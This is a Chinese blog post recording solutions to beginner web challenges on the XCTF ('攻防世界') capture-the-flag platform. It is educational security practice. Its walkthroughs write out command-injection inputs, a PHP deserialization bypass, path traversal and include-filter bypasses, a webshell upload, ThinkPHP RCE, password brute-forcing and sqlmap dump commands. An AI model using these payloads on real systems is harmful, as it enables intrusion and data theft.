攻防世界做题记录

view_source

打开控制台查看源代码发现flag

robots

robots协议一般直接在URL后直接输入robots.txt 就可以看到不允许爬虫访问那些

image-20240512003548837

直接在URL中访问这个php文件,得到flag

backup

百度得到备份文件的后缀有这些

image-20240512003856222

网页源代码中什么都没有

直接尝试index.php.bak 发现下载了一个文件,打开文件得到了flag

image-20240512004527936

直接上dirsearch 扫描也可以得到文件的文件名

image-20240512004603679

cookie

题目说了在cookie里放了一些东西,就找一下cookie

image-20240512004830465

cookie中发现有一个cookie.php 访问一下

image-20240512004934730

看一下响应标头得到flag

disabled_button

不能摁的按钮,先查看一下源代码

image-20240512005159163

把disabled删掉即可

image-20240512005231317

get_post

image-20240512005448250

直接在URL后构造/?a=1 就是GET请求

image-20240512005536690

直接用hackbar post b的值

image-20240512005624954

weak auth

打开网站是一个登陆界面

image-20240512212725365

尝试弱密码admin登陆,提示密码错误

image-20240512212805289

说明用户名是正确的,抓包进行爆破密码

image-20240512212908033

爆破得到密码是123456 得到flag

simple_php

源代码如下

image-20240512213056380

分析一下代码

if($a==0 and $a){
    echo $flag1;
}

// == 弱类型比较 php中会让 == 后的 0 自己变化成前面的类型进行比较 所以
/* 若字符型值开头为数字,转为数字;
若开头不为数字,为 null 弱比较与 0 相等。

''abc123''== 123 => false
''abc123''== 0 => true
"123abc"== 123 => true

*/

给a传入一个字母,可以输出flag1

分析一下关于b的代码

if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
// is_numeric() 函数会判断如果是数字和数字字符串则返回 TRUE,否则返回 FALSE。

根据这个函数的性质,可以先让b传入的前几位大于1234 然后再拼接上字母,就可以满足要求

image-20240512215530151

Training-WWW-Robots

robots协议,在URL中输入robots.txt 查看,找到flag,在输入到URL中查看

command_execution

命令执行漏洞

127.0.0.1;ls 查看一下

image-20240512220355084

没什么内容,只有一个index.php,访问一下并没有什么用

127.0.0.1;find / -name "flag*" 直接查找一下和flag有关的文件

image-20240512220559474

然后127.0.0.1;cat /home/flag.txt 查看一下文件内容得到flag

xff_referer

前置知识

X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的

题目说xff和referer是可以伪造的

xff的全称是X-Forwarded-For 可以用来伪造ip

打开题目说ip地址必须为123.123.123.123 所以进行抓包,在repeater中进行操作

image-20240513095055037

在这需要注意的是,填写的这些内容必须要在connection 字段的上面

baby_web

这里说让我们想一想初始页面是那个

直接测试index.php

然后发现还是跳转到了1.php

打开网络,在index.php的响应标头中得到flag

image-20240513095548871

simple_js

输入了一个密码发现不对

打开网页源代码查看

有js代码

image-20240513100012628

下面有一行引人注目的十六进制

s='\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30'
print(s)

拿到python里跑一下发现出来了这些内容 猜测这应该是ascii码

55,56,54,79,115,69,114,116,107,49,50

丢给gpt写个脚本

ascii_list = [55, 56, 54, 79, 115, 69, 114, 116, 107, 49, 50]

# 使用chr()函数将ASCII码转换为字符,并将结果存储在一个列表中
char_list = [chr(ascii_code) for ascii_code in ascii_list]

# 将字符列表连接成一个字符串
result_string = ''.join(char_list)

print(result_string)

得到falg 为786OsErtk12

php2

网页源代码没有东西

扫描器也扫描不出来东西

进行百度发现index.phps可以

得到源代码

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

第一个if可以看的出来不能直接传入admin

然后第二个if是要等于admin

在URL中,浏览器会自己将是url编码的字符先urldecode一次,然后拿来跟源代码进行比较

然后源代码中还要进行一次urldecode一次

所以可以进行构造一下

%25 对应的字符是 %

%61 对应的字符是 a

可以这样进行构造 %2561

浏览器先decode一次 把前面的%25转化为% 这个%直接接到了61前面构成了%61

然后源代码中再decode一下 变为a 所以 %2561dmin

image-20240513104040988

ics-06

打开题目找到报表中心

发现URL中有id 尝试修改一下都是这个页面

抓包爆破id

image-20240513112145607

unserialize3

打开题目发现是反序列化的题 __wakeup() 函数绕过需要时构造传入的对象数量比定义的多

image-20240517093739287

把下面的1 改为2 就能实现绕过 根据题目构造payload

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";} 就能实现绕过

image-20240517093912322

php_rce

打开题目 显示是一个开发框架

image-20240511235536896

发现这个thinkphp v5是由rce漏洞的

在GitHub上查找到可能构造的payload

image-20240511235749482

传入id时发现回显时id,说明代码执行了

image-20240511235851518

按照习惯 ls /一下

image-20240511235942553发现没有过滤,直接就回显了

直接cat flag 试一下,直接出了flag

image-20240512000035507

Web_php_include

打开题目给了源代码

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

分析一下源代码,要往page传值 但是值不能含有"php://" 否则会替换为空

URL不区分大小写,直接PHP://input

抓包进行命令执行

image-20240513113428108

image-20240513113512729

upload1

文件上传 打开网页源代码发现上传图片就可以

上传一张写了一句话木马的图片

抓包修改包的后缀改为php

image-20240513114740103

使用蚁剑链接 在目录结构里寻找flag

image-20240513114940860

warmup

打开题目发现就一个滑稽图

查看网页源代码发现一个source.php

image-20240513215923824

发现可能含有文件包含漏洞 那就进行构造payload传file的值

进行代码审计 发现有一个白名单列表里有一个hint.php 传一下试试

image-20240513220043194

再往下看if条件 构造的page需要在白名单里

然后还需要两个问号,那就再hint.php后再加一个问号

构造payload ?file=hint.php?/ffffllllaaaagggg 发现不行,可能没在当前目录

多向上找几层目录 ?file=hint.php?/../../../../ffffllllaaaagggg

image-20240513220409369

flag在根目录下,出现flag

总结

1.仔细进行代码审计,查看最后关健的if需要什么,然后一步一步的满足条件进行

2.在网站目录中 flag一般都会放在根目录下,不会放在html目录下面,一般html目录是这样的/var/www/html/web var又是在根目录下,所以一般要向上cd四次

NEWS CENTER

查询新闻,一眼sql注入 但是在下面查询,在URL中没有增加payload 判断是POST注入

使用sqlmap注入 sqlmap -u URL --data="search=1 "

查询数据库名 sqlmap -u URL --data="search=1" --dbs

image-20240515112321720

查询表名 sqlmap -u URL --data="search=1" -D news --tables

image-20240515112442077

查询字段名 sqlmap -u URL --data="search=1" -D news -T secret_table --columns

image-20240515112622746

查询字段内容 sqlmap -u URL --data="search=1" -D news -T secret_table -C fl4g --dump

image-20240515112713220

  • 9
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值